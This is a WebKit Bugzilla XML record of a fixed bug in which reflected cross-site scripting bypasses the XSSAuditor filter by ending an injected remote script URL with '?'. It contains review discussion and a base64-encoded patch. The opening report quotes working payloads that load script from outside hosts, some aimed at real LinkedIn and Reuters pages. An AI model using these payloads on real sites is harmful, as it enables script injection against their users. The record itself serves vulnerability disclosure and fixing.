<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE bugzilla SYSTEM "https://bugs.webkit.org/page.cgi?id=bugzilla.dtd">

<bugzilla version="5.0.4.1"
          urlbase="https://bugs.webkit.org/"
          
          maintainer="admin@webkit.org"
>

    <bug>
          <bug_id>70255</bug_id>
          
          <creation_ts>2011-10-17 12:22:56 -0700</creation_ts>
          <short_desc>XSSAuditor bypass with remote script ending in ? character</short_desc>
          <delta_ts>2011-10-17 21:36:34 -0700</delta_ts>
          <reporter_accessible>1</reporter_accessible>
          <cclist_accessible>1</cclist_accessible>
          <classification_id>1</classification_id>
          <classification>Unclassified</classification>
          <product>WebKit</product>
          <component>WebCore Misc.</component>
          <version>528+ (Nightly build)</version>
          <rep_platform>All</rep_platform>
          <op_sys>All</op_sys>
          <bug_status>RESOLVED</bug_status>
          <resolution>FIXED</resolution>
          
          
          <bug_file_loc></bug_file_loc>
          <status_whiteboard></status_whiteboard>
          <keywords>XSSAuditor</keywords>
          <priority>P2</priority>
          <bug_severity>Normal</bug_severity>
          <target_milestone>---</target_milestone>
          
          <blocked>66579</blocked>
          <everconfirmed>1</everconfirmed>
          <reporter name="Thomas Sepez">tsepez</reporter>
          <assigned_to name="Thomas Sepez">tsepez</assigned_to>
          <cc>abarth</cc>
    
    <cc>dbates</cc>
    
    <cc>webkit.review.bot</cc>
          

      

      

      

          <comment_sort_order>oldest_to_newest</comment_sort_order>  
          <long_desc isprivate="0" >
    <commentid>485378</commentid>
    <comment_count>0</comment_count>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-10-17 12:22:56 -0700</bug_when>
    <thetext>Upstreamed from chromium issue 86752.

Reported by dc.comm...@gmail.com, Jun 20, 2011
VULNERABILITY DETAILS
It is possible to bypass anti reflected-xss protection in Chrome under certain conditions.

 &lt;snip&gt;

VERSION
Chrome Version: 12.0.742.100 stable
Operating System: Debian, but also works on MacOs 10.6

REPRODUCTION CASE
Because an example worth 100 words:
Original vulnerable script
lclown.fr/dev_lab/xss_reflect.php?name=John

Reflected xss:
lclown.fr/dev_lab/xss_reflect.php?name=John&lt;script src=//0x.lv?

&quot;Real life&quot; examples (sponsored by xssed.com :p)
http://talent.linkedin.com/register/download.php?ID=%22%3E%3Cscript%20src=//lclown.fr/a.js?

http://www.reuters.com/finance/markets/index?symbol=us!spx&amp;sortBy=%22%3E%3Cscript%20src=//lclown.fr/a.js?

Expected behavior:
a.js from lclown.fr is not executed</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485381</commentid>
    <comment_count>1</comment_count>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-10-17 12:23:31 -0700</bug_when>
    <thetext>Much like a // can be used to prevent characters from the page from breaking JS, the ? character here is used to prevent characters from the page from &quot;breaking&quot; the URL pointing to //lclown.fr/a.js.

To do the same thing to src=&quot;&quot; (and the like) parameters that we did for JS is more difficult, because the bad guy in theory controls everything past the domain, and could return the same static JS no matter what crap happens to follow the URL.

Much like eraseDangerousAttributeIfInjected(), we&apos;ll need eraseSrcAttributeIfInjected, which would need to understand enough about the structure of URLs to truncate at the end of the domain.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485586</commentid>
    <comment_count>2</comment_count>
      <attachid>111338</attachid>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-10-17 15:59:37 -0700</bug_when>
    <thetext>Created attachment 111338
Patch plus test case.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485587</commentid>
    <comment_count>3</comment_count>
    <who name="WebKit Review Bot">webkit.review.bot</who>
    <bug_when>2011-10-17 16:02:01 -0700</bug_when>
    <thetext>Attachment 111338 did not pass style-queue:

Failed to run &quot;[&apos;Tools/Scripts/update-webkit&apos;, &apos;--chromium&apos;]&quot; exit_code: 2

Updating OpenSource
Current branch master is up to date.
Updating chromium port dependencies using gclient...
Error: Can&apos;t switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don&apos;t match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying &apos;depot_tools/gclient sync&apos;
Error: Can&apos;t switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don&apos;t match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Re-trying &apos;depot_tools/gclient sync&apos;
Error: Can&apos;t switch the checkout to http://v8.googlecode.com/svn/branches/3.6@9637; UUID don&apos;t match and there is local changes in /mnt/git/webkit-style-queue/Source/WebKit/chromium/v8. Delete the directory and try again.
Error: &apos;depot_tools/gclient sync&apos; failed 3 tries and returned 256 at Tools/Scripts/update-webkit-chromium line 107.
Re-trying &apos;depot_tools/gclient sync&apos;
No such file or directory at Tools/Scripts/update-webkit line 104.


If any of these errors are false positives, please file a bug against check-webkit-style.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485596</commentid>
    <comment_count>4</comment_count>
      <attachid>111338</attachid>
    <who name="Darin Adler">darin</who>
    <bug_when>2011-10-17 16:10:28 -0700</bug_when>
    <thetext>Comment on attachment 111338
Patch plus test case.

View in context: https://bugs.webkit.org/attachment.cgi?id=111338&amp;action=review

&gt; Source/WebCore/html/parser/XSSAuditor.h:67
&gt; +    bool eraseAttributeIfInjected(HTMLToken&amp;, const QualifiedName&amp;, const String&amp; replacementValue = String(), bool srcLikeAttribute = false);

Since all the callers are using a constant, you should use an enum for this instead of false and true. At the call site, the value “true” means nothing and is mysterious, but something like AttributeIsSrcLike or AttributeValueIsURL is much easier to understand.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485618</commentid>
    <comment_count>5</comment_count>
      <attachid>111345</attachid>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-10-17 16:34:16 -0700</bug_when>
    <thetext>Created attachment 111345
Much easier to understand patch.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485665</commentid>
    <comment_count>6</comment_count>
      <attachid>111345</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-10-17 17:32:16 -0700</bug_when>
    <thetext>Comment on attachment 111345
Much easier to understand patch.

View in context: https://bugs.webkit.org/attachment.cgi?id=111345&amp;action=review

Looks sane to me.

&gt; Source/WebCore/ChangeLog:5
&gt; +        Fix xssauditor bypass where unterminated src=&quot;&quot; attribute could pick up
&gt; +        text from page causing failed XSS detection.  Constrain match to domain
&gt; +        portions of src attribute only.

The format of the change log entry is to put the bug title above the bug URL and put a description after the Reviewed by line. One such example of this format can been in the change log for &lt;http://trac.webkit.org/changeset/97675&gt;.

Nit: xssauditor =&gt; XSSAuditor</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485671</commentid>
    <comment_count>7</comment_count>
      <attachid>111358</attachid>
    <who name="Thomas Sepez">tsepez</who>
    <bug_when>2011-10-17 17:41:03 -0700</bug_when>
    <thetext>Created attachment 111358
Much easier to understand patch with better changelog format.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485674</commentid>
    <comment_count>8</comment_count>
      <attachid>111358</attachid>
    <who name="Daniel Bates">dbates</who>
    <bug_when>2011-10-17 17:43:27 -0700</bug_when>
    <thetext>Comment on attachment 111358
Much easier to understand patch with better changelog format.

Thanks Tom for the updated patch.</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485784</commentid>
    <comment_count>9</comment_count>
      <attachid>111358</attachid>
    <who name="WebKit Review Bot">webkit.review.bot</who>
    <bug_when>2011-10-17 21:36:29 -0700</bug_when>
    <thetext>Comment on attachment 111358
Much easier to understand patch with better changelog format.

Clearing flags on attachment: 111358

Committed r97715: &lt;http://trac.webkit.org/changeset/97715&gt;</thetext>
  </long_desc><long_desc isprivate="0" >
    <commentid>485785</commentid>
    <comment_count>10</comment_count>
    <who name="WebKit Review Bot">webkit.review.bot</who>
    <bug_when>2011-10-17 21:36:34 -0700</bug_when>
    <thetext>All reviewed patches have been landed.  Closing bug.</thetext>
  </long_desc>
      
          <attachment
              isobsolete="1"
              ispatch="1"
              isprivate="0"
          >
            <attachid>111338</attachid>
            <date>2011-10-17 15:59:37 -0700</date>
            <delta_ts>2011-10-17 16:34:16 -0700</delta_ts>
            <desc>Patch plus test case.</desc>
            <filename>patch_70255.txt</filename>
            <type>text/plain</type>
            <size>10333</size>
            <attacher name="Thomas Sepez">tsepez</attacher>
            
              <data encoding="base64">SW5kZXg6IFNvdXJjZS9XZWJDb3JlL0NoYW5nZUxvZwo9PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBTb3VyY2UvV2Vi
Q29yZS9DaGFuZ2VMb2cJKHJldmlzaW9uIDk3NjYxKQorKysgU291cmNlL1dlYkNvcmUvQ2hhbmdl
TG9nCSh3b3JraW5nIGNvcHkpCkBAIC0xLDMgKzEsMjUgQEAKKzIwMTEtMTAtMTcgIFRvbSBTZXBl
eiAgPHRzZXBlekBjaHJvbWl1bS5vcmc+CisKKyAgICAgICAgRml4IHhzc2F1ZGl0b3IgYnlwYXNz
IHdoZXJlIHVudGVybWluYXRlZCBzcmM9IiIgYXR0cmlidXRlIGNvdWxkIHBpY2sgdXAKKyAgICAg
ICAgdGV4dCBmcm9tIHBhZ2UgY2F1c2luZyBmYWlsZWQgWFNTIGRldGVjdGlvbi4gIENvbnN0cmFp
biBtYXRjaCB0byBkb21haW4KKyAgICAgICAgcG9ydGlvbnMgb2Ygc3JjIGF0dHJpYnV0ZSBvbmx5
LgorICAgICAgICBodHRwczovL2J1Z3Mud2Via2l0Lm9yZy9zaG93X2J1Zy5jZ2k/aWQ9NzAyNTUK
KworICAgICAgICBSZXZpZXdlZCBieSBOT0JPRFkgKE9PUFMhKS4KKworICAgICAgICBUZXN0OiBo
dHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRl
cm1pbmF0ZWQuaHRtbAorCisgICAgICAgICogaHRtbC9wYXJzZXIvWFNTQXVkaXRvci5jcHA6Cisg
ICAgICAgIChXZWJDb3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJTY3JpcHRUb2tlbik6CisgICAgICAg
IChXZWJDb3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJPYmplY3RUb2tlbik6CisgICAgICAgIChXZWJD
b3JlOjpYU1NBdWRpdG9yOjpmaWx0ZXJQYXJhbVRva2VuKToKKyAgICAgICAgKFdlYkNvcmU6OlhT
U0F1ZGl0b3I6OmZpbHRlckVtYmVkVG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRv
cjo6ZmlsdGVyQXBwbGV0VG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6Zmls
dGVySWZyYW1lVG9rZW4pOgorICAgICAgICAoV2ViQ29yZTo6WFNTQXVkaXRvcjo6ZXJhc2VBdHRy
aWJ1dGVJZkluamVjdGVkKToKKyAgICAgICAgKFdlYkNvcmU6OlhTU0F1ZGl0b3I6OmRlY29kZWRT
bmlwcGV0Rm9yQXR0cmlidXRlKToKKyAgICAgICAgKiBodG1sL3BhcnNlci9YU1NBdWRpdG9yLmg6
CisKIDIwMTEtMTAtMTcgIE9qYW4gVmFmYWkgIDxvamFuQGNocm9taXVtLm9yZz4KIAogICAgICAg
ICBVbnJldmlld2VkLCByb2xsaW5nIG91dCByOTc2NTMuCkluZGV4OiBTb3VyY2UvV2ViQ29yZS9o
dG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBTb3VyY2UvV2ViQ29yZS9o
dG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAkocmV2aXNpb24gOTc2MzcpCisrKyBTb3VyY2UvV2Vi
Q29yZS9odG1sL3BhcnNlci9YU1NBdWRpdG9yLmNwcAkod29ya2luZyBjb3B5KQpAQCAtMzUzLDcg
KzM1Myw3IEBAIGJvb2wgWFNTQXVkaXRvcjo6ZmlsdGVyU2NyaXB0VG9rZW4oSFRNTFQKICAgICBB
U1NFUlQodG9rZW4udHlwZSgpID09IEhUTUxUb2tlblR5cGVzOjpTdGFydFRhZyk7CiAgICAgQVNT
RVJUKGhhc05hbWUodG9rZW4sIHNjcmlwdFRhZykpOwogCi0gICAgaWYgKGVyYXNlQXR0cmlidXRl
SWZJbmplY3RlZCh0b2tlbiwgc3JjQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSkpCisgICAgaWYg
KGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgc3JjQXR0ciwgYmxhbmtVUkwoKS5zdHJp
bmcoKSwgdHJ1ZSkpCiAgICAgICAgIHJldHVybiB0cnVlOwogCiAgICAgbV9zdGF0ZSA9IEFmdGVy
U2NyaXB0U3RhcnRUYWc7CkBAIC0zNjksNyArMzY5LDcgQEAgYm9vbCBYU1NBdWRpdG9yOjpmaWx0
ZXJPYmplY3RUb2tlbihIVE1MVAogCiAgICAgYm9vbCBkaWRCbG9ja1NjcmlwdCA9IGZhbHNlOwog
Ci0gICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBk
YXRhQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSk7CisgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJh
c2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBkYXRhQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmco
KSwgdHJ1ZSk7CiAgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVk
KHRva2VuLCB0eXBlQXR0cik7CiAgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJ
ZkluamVjdGVkKHRva2VuLCBjbGFzc2lkQXR0cik7CiAKQEAgLTM5Miw3ICszOTIsNyBAQCBib29s
IFhTU0F1ZGl0b3I6OmZpbHRlclBhcmFtVG9rZW4oSFRNTFRvCiAgICAgaWYgKCFIVE1MUGFyYW1F
bGVtZW50Ojppc1VSTFBhcmFtZXRlcihuYW1lKSkKICAgICAgICAgcmV0dXJuIGZhbHNlOwogCi0g
ICAgcmV0dXJuIGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgdmFsdWVBdHRyLCBibGFu
a1VSTCgpLnN0cmluZygpKTsKKyAgICByZXR1cm4gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRv
a2VuLCB2YWx1ZUF0dHIsIGJsYW5rVVJMKCkuc3RyaW5nKCksIHRydWUpOwogfQogCiBib29sIFhT
U0F1ZGl0b3I6OmZpbHRlckVtYmVkVG9rZW4oSFRNTFRva2VuJiB0b2tlbikKQEAgLTQwMyw3ICs0
MDMsNyBAQCBib29sIFhTU0F1ZGl0b3I6OmZpbHRlckVtYmVkVG9rZW4oSFRNTFRvCiAKICAgICBi
b29sIGRpZEJsb2NrU2NyaXB0ID0gZmFsc2U7CiAKLSAgICBkaWRCbG9ja1NjcmlwdCB8PSBlcmFz
ZUF0dHJpYnV0ZUlmSW5qZWN0ZWQodG9rZW4sIHNyY0F0dHIsIGJsYW5rVVJMKCkuc3RyaW5nKCkp
OworICAgIGRpZEJsb2NrU2NyaXB0IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwg
c3JjQXR0ciwgYmxhbmtVUkwoKS5zdHJpbmcoKSwgdHJ1ZSk7CiAgICAgZGlkQmxvY2tTY3JpcHQg
fD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCB0eXBlQXR0cik7CiAKICAgICByZXR1
cm4gZGlkQmxvY2tTY3JpcHQ7CkBAIC00MTcsNyArNDE3LDcgQEAgYm9vbCBYU1NBdWRpdG9yOjpm
aWx0ZXJBcHBsZXRUb2tlbihIVE1MVAogCiAgICAgYm9vbCBkaWRCbG9ja1NjcmlwdCA9IGZhbHNl
OwogCi0gICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2Vu
LCBjb2RlQXR0cik7CisgICAgZGlkQmxvY2tTY3JpcHQgfD0gZXJhc2VBdHRyaWJ1dGVJZkluamVj
dGVkKHRva2VuLCBjb2RlQXR0ciwgU3RyaW5nKCksIHRydWUpOwogICAgIGRpZEJsb2NrU2NyaXB0
IHw9IGVyYXNlQXR0cmlidXRlSWZJbmplY3RlZCh0b2tlbiwgb2JqZWN0QXR0cik7CiAKICAgICBy
ZXR1cm4gZGlkQmxvY2tTY3JpcHQ7CkBAIC00MjksNyArNDI5LDcgQEAgYm9vbCBYU1NBdWRpdG9y
OjpmaWx0ZXJJZnJhbWVUb2tlbihIVE1MVAogICAgIEFTU0VSVCh0b2tlbi50eXBlKCkgPT0gSFRN
TFRva2VuVHlwZXM6OlN0YXJ0VGFnKTsKICAgICBBU1NFUlQoaGFzTmFtZSh0b2tlbiwgaWZyYW1l
VGFnKSk7CiAKLSAgICByZXR1cm4gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBzcmNB
dHRyKTsKKyAgICByZXR1cm4gZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKHRva2VuLCBzcmNBdHRy
LCBTdHJpbmcoKSwgdHJ1ZSk7CiB9CiAKIGJvb2wgWFNTQXVkaXRvcjo6ZmlsdGVyTWV0YVRva2Vu
KEhUTUxUb2tlbiYgdG9rZW4pCkBAIC01MDIsMTIgKzUwMiwxMiBAQCBib29sIFhTU0F1ZGl0b3I6
OmVyYXNlRGFuZ2Vyb3VzQXR0cmlidXRlCiAgICAgcmV0dXJuIGRpZEJsb2NrU2NyaXB0OwogfQog
Ci1ib29sIFhTU0F1ZGl0b3I6OmVyYXNlQXR0cmlidXRlSWZJbmplY3RlZChIVE1MVG9rZW4mIHRv
a2VuLCBjb25zdCBRdWFsaWZpZWROYW1lJiBhdHRyaWJ1dGVOYW1lLCBjb25zdCBTdHJpbmcmIHJl
cGxhY2VtZW50VmFsdWUpCitib29sIFhTU0F1ZGl0b3I6OmVyYXNlQXR0cmlidXRlSWZJbmplY3Rl
ZChIVE1MVG9rZW4mIHRva2VuLCBjb25zdCBRdWFsaWZpZWROYW1lJiBhdHRyaWJ1dGVOYW1lLCBj
b25zdCBTdHJpbmcmIHJlcGxhY2VtZW50VmFsdWUsIGJvb2wgc3JjTGlrZUF0dHJpYnV0ZSkKIHsK
ICAgICBzaXplX3QgaW5kZXhPZkF0dHJpYnV0ZTsKICAgICBpZiAoZmluZEF0dHJpYnV0ZVdpdGhO
YW1lKHRva2VuLCBhdHRyaWJ1dGVOYW1lLCBpbmRleE9mQXR0cmlidXRlKSkgewogICAgICAgICBj
b25zdCBIVE1MVG9rZW46OkF0dHJpYnV0ZSYgYXR0cmlidXRlID0gdG9rZW4uYXR0cmlidXRlcygp
LmF0KGluZGV4T2ZBdHRyaWJ1dGUpOwotICAgICAgICBpZiAoaXNDb250YWluZWRJblJlcXVlc3Qo
ZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUodG9rZW4sIGF0dHJpYnV0ZSkpKSB7CisgICAgICAg
IGlmIChpc0NvbnRhaW5lZEluUmVxdWVzdChkZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZSh0b2tl
biwgYXR0cmlidXRlLCBzcmNMaWtlQXR0cmlidXRlKSkpIHsKICAgICAgICAgICAgIGlmIChhdHRy
aWJ1dGVOYW1lID09IHNyY0F0dHIgJiYgaXNTYW1lT3JpZ2luUmVzb3VyY2UoU3RyaW5nKGF0dHJp
YnV0ZS5tX3ZhbHVlLmRhdGEoKSwgYXR0cmlidXRlLm1fdmFsdWUuc2l6ZSgpKSkpCiAgICAgICAg
ICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgaWYgKGF0dHJpYnV0ZU5hbWUgPT0g
aHR0cF9lcXVpdkF0dHIgJiYgIWlzRGFuZ2Vyb3VzSFRUUEVxdWl2KFN0cmluZyhhdHRyaWJ1dGUu
bV92YWx1ZS5kYXRhKCksIGF0dHJpYnV0ZS5tX3ZhbHVlLnNpemUoKSkpKQpAQCAtNTI4LDcgKzUy
OCw3IEBAIFN0cmluZyBYU1NBdWRpdG9yOjpzbmlwcGV0Rm9yUmFuZ2UoY29uc3QKICAgICByZXR1
cm4gbV9wYXJzZXItPnNvdXJjZUZvclRva2VuKHRva2VuKS5zdWJzdHJpbmcoc3RhcnQsIGVuZCAt
IHN0YXJ0KTsKIH0KIAotU3RyaW5nIFhTU0F1ZGl0b3I6OmRlY29kZWRTbmlwcGV0Rm9yQXR0cmli
dXRlKGNvbnN0IEhUTUxUb2tlbiYgdG9rZW4sIGNvbnN0IEhUTUxUb2tlbjo6QXR0cmlidXRlJiBh
dHRyaWJ1dGUpCitTdHJpbmcgWFNTQXVkaXRvcjo6ZGVjb2RlZFNuaXBwZXRGb3JBdHRyaWJ1dGUo
Y29uc3QgSFRNTFRva2VuJiB0b2tlbiwgY29uc3QgSFRNTFRva2VuOjpBdHRyaWJ1dGUmIGF0dHJp
YnV0ZSwgYm9vbCBzcmNMaWtlQXR0cmlidXRlKQogewogICAgIGNvbnN0IHNpemVfdCBrTWF4aW11
bVNuaXBwZXRMZW5ndGggPSAxMDA7CiAKQEAgLTU0MCw2ICs1NDAsMjAgQEAgU3RyaW5nIFhTU0F1
ZGl0b3I6OmRlY29kZWRTbmlwcGV0Rm9yQXR0cgogICAgIGludCBlbmQgPSBhdHRyaWJ1dGUubV92
YWx1ZVJhbmdlLm1fZW5kIC0gdG9rZW4uc3RhcnRJbmRleCgpOwogICAgIFN0cmluZyBkZWNvZGVk
U25pcHBldCA9IGZ1bGx5RGVjb2RlU3RyaW5nKHNuaXBwZXRGb3JSYW5nZSh0b2tlbiwgc3RhcnQs
IGVuZCksIG1fcGFyc2VyLT5kb2N1bWVudCgpLT5kZWNvZGVyKCkpOwogICAgIGRlY29kZWRTbmlw
cGV0LnRydW5jYXRlKGtNYXhpbXVtU25pcHBldExlbmd0aCk7CisgICAgaWYgKHNyY0xpa2VBdHRy
aWJ1dGUpIHsKKyAgICAgICAgaW50IHNsYXNoQ291bnQ7CisgICAgICAgIHNpemVfdCBjdXJyZW50
TGVuZ3RoOworICAgICAgICAvLyBDaGFyYWN0ZXJzIGZvbGxvd2luZyB0aGUgZmlyc3QgPywgIywg
b3IgdGhpcmQgc2xhc2ggbWF5IGNvbWUgZnJvbSAKKyAgICAgICAgLy8gdGhlIHBhZ2UgaXRzZWxm
IGFuZCBjYW4gYmUgbWVyZWx5IGlnbm9yZWQgYnkgYW4gYXR0YWNrZXIncyBzZXJ2ZXIKKyAgICAg
ICAgLy8gd2hlbiBhIHJlbW90ZSBzY3JpcHQgb3Igc2NyaXB0LWxpa2UgcmVzb3VyY2UgaXMgcmVx
dWVzdGVkLgorICAgICAgICBmb3IgKHNsYXNoQ291bnQgPSAwLCBjdXJyZW50TGVuZ3RoID0gMDsg
Y3VycmVudExlbmd0aCA8IGRlY29kZWRTbmlwcGV0Lmxlbmd0aCgpOyArK2N1cnJlbnRMZW5ndGgp
IHsKKyAgICAgICAgICAgIGlmIChkZWNvZGVkU25pcHBldFtjdXJyZW50TGVuZ3RoXSA9PSAnPycg
fHwgZGVjb2RlZFNuaXBwZXRbY3VycmVudExlbmd0aF0gPT0gJyMnCisgICAgICAgICAgICAgICAg
fHwgKChkZWNvZGVkU25pcHBldFtjdXJyZW50TGVuZ3RoXSA9PSAnLycgfHwgZGVjb2RlZFNuaXBw
ZXRbY3VycmVudExlbmd0aF0gPT0gJ1xcJykgJiYgKytzbGFzaENvdW50ID4gMikpIHsKKyAgICAg
ICAgICAgICAgICBkZWNvZGVkU25pcHBldC50cnVuY2F0ZShjdXJyZW50TGVuZ3RoKTsKKyAgICAg
ICAgICAgICAgICBicmVhazsKKyAgICAgICAgICAgIH0KKyAgICAgICAgfQorICAgIH0KICAgICBy
ZXR1cm4gZGVjb2RlZFNuaXBwZXQ7CiB9CiAKQEAgLTU2Niw3ICs1ODAsNiBAQCBib29sIFhTU0F1
ZGl0b3I6OmlzU2FtZU9yaWdpblJlc291cmNlKGNvCiAgICAgcmV0dXJuIChtX3BhcnNlci0+ZG9j
dW1lbnQoKS0+dXJsKCkuaG9zdCgpID09IHJlc291cmNlVVJMLmhvc3QoKSAmJiByZXNvdXJjZVVS
TC5xdWVyeSgpLmlzRW1wdHkoKSk7CiB9CiAKLQogU3RyaW5nIFhTU0F1ZGl0b3I6OnNuaXBwZXRG
b3JKYXZhU2NyaXB0KGNvbnN0IFN0cmluZyYgc3RyaW5nKQogewogICAgIGNvbnN0IHNpemVfdCBr
TWF4aW11bUZyYWdtZW50TGVuZ3RoVGFyZ2V0ID0gMTAwOwpJbmRleDogU291cmNlL1dlYkNvcmUv
aHRtbC9wYXJzZXIvWFNTQXVkaXRvci5oCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KLS0tIFNvdXJjZS9XZWJDb3JlL2h0
bWwvcGFyc2VyL1hTU0F1ZGl0b3IuaAkocmV2aXNpb24gOTc2MzcpCisrKyBTb3VyY2UvV2ViQ29y
ZS9odG1sL3BhcnNlci9YU1NBdWRpdG9yLmgJKHdvcmtpbmcgY29weSkKQEAgLTY0LDExICs2NCwx
MSBAQCBwcml2YXRlOgogICAgIGJvb2wgZmlsdGVyRm9ybVRva2VuKEhUTUxUb2tlbiYpOwogCiAg
ICAgYm9vbCBlcmFzZURhbmdlcm91c0F0dHJpYnV0ZXNJZkluamVjdGVkKEhUTUxUb2tlbiYpOwot
ICAgIGJvb2wgZXJhc2VBdHRyaWJ1dGVJZkluamVjdGVkKEhUTUxUb2tlbiYsIGNvbnN0IFF1YWxp
ZmllZE5hbWUmLCBjb25zdCBTdHJpbmcmIHJlcGxhY2VtZW50VmFsdWUgPSBTdHJpbmcoKSk7Cisg
ICAgYm9vbCBlcmFzZUF0dHJpYnV0ZUlmSW5qZWN0ZWQoSFRNTFRva2VuJiwgY29uc3QgUXVhbGlm
aWVkTmFtZSYsIGNvbnN0IFN0cmluZyYgcmVwbGFjZW1lbnRWYWx1ZSA9IFN0cmluZygpLCBib29s
IHNyY0xpa2VBdHRyaWJ1dGUgPSBmYWxzZSk7CiAKICAgICBTdHJpbmcgc25pcHBldEZvclJhbmdl
KGNvbnN0IEhUTUxUb2tlbiYsIGludCBzdGFydCwgaW50IGVuZCk7CiAgICAgU3RyaW5nIHNuaXBw
ZXRGb3JKYXZhU2NyaXB0KGNvbnN0IFN0cmluZyYpOwotICAgIFN0cmluZyBkZWNvZGVkU25pcHBl
dEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9rZW4mLCBjb25zdCBIVE1MVG9rZW46OkF0dHJpYnV0
ZSYpOworICAgIFN0cmluZyBkZWNvZGVkU25pcHBldEZvckF0dHJpYnV0ZShjb25zdCBIVE1MVG9r
ZW4mLCBjb25zdCBIVE1MVG9rZW46OkF0dHJpYnV0ZSYsIGJvb2wgc3JjTGlrZUF0dHJpYnV0ZSA9
IGZhbHNlKTsKIAogICAgIGJvb2wgaXNDb250YWluZWRJblJlcXVlc3QoY29uc3QgU3RyaW5nJik7
CiAgICAgYm9vbCBpc1NhbWVPcmlnaW5SZXNvdXJjZShjb25zdCBTdHJpbmcmIHVybCk7CkluZGV4
OiBMYXlvdXRUZXN0cy9DaGFuZ2VMb2cKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQotLS0gTGF5b3V0VGVzdHMvQ2hhbmdl
TG9nCShyZXZpc2lvbiA5NzY2MSkKKysrIExheW91dFRlc3RzL0NoYW5nZUxvZwkod29ya2luZyBj
b3B5KQpAQCAtMSwzICsxLDE1IEBACisyMDExLTEwLTE3ICBUb20gU2VwZXogIDx0c2VwZXpAY2hy
b21pdW0ub3JnPgorCisgICAgICAgIEZpeCB4c3NhdWRpdG9yIGJ5cGFzcyB3aGVyZSB1bnRlcm1p
bmF0ZWQgc3JjPSIiIGF0dHJpYnV0ZSBjb3VsZCBwaWNrIHVwCisgICAgICAgIHRleHQgZnJvbSBw
YWdlIGNhdXNpbmcgZmFpbGVkIFhTUyBkZXRlY3Rpb24uICBDb25zdHJhaW4gbWF0Y2ggdG8gZG9t
YWluCisgICAgICAgIHBvcnRpb25zIG9mIHNyYyBhdHRyaWJ1dGUgb25seS4KKyAgICAgICAgaHR0
cHM6Ly9idWdzLndlYmtpdC5vcmcvc2hvd19idWcuY2dpP2lkPTcwMjU1CisKKyAgICAgICAgUmV2
aWV3ZWQgYnkgTk9CT0RZIChPT1BTISkuCisKKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5
L3hzc0F1ZGl0b3Ivc2NyaXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQtZXhwZWN0ZWQu
dHh0OiBBZGRlZC4KKyAgICAgICAgKiBodHRwL3Rlc3RzL3NlY3VyaXR5L3hzc0F1ZGl0b3Ivc2Ny
aXB0LXRhZy13aXRoLXNvdXJjZS11bnRlcm1pbmF0ZWQuaHRtbDogQWRkZWQuCisKIDIwMTEtMTAt
MTcgIE9qYW4gVmFmYWkgIDxvamFuQGNocm9taXVtLm9yZz4KIAogICAgICAgICBVbnJldmlld2Vk
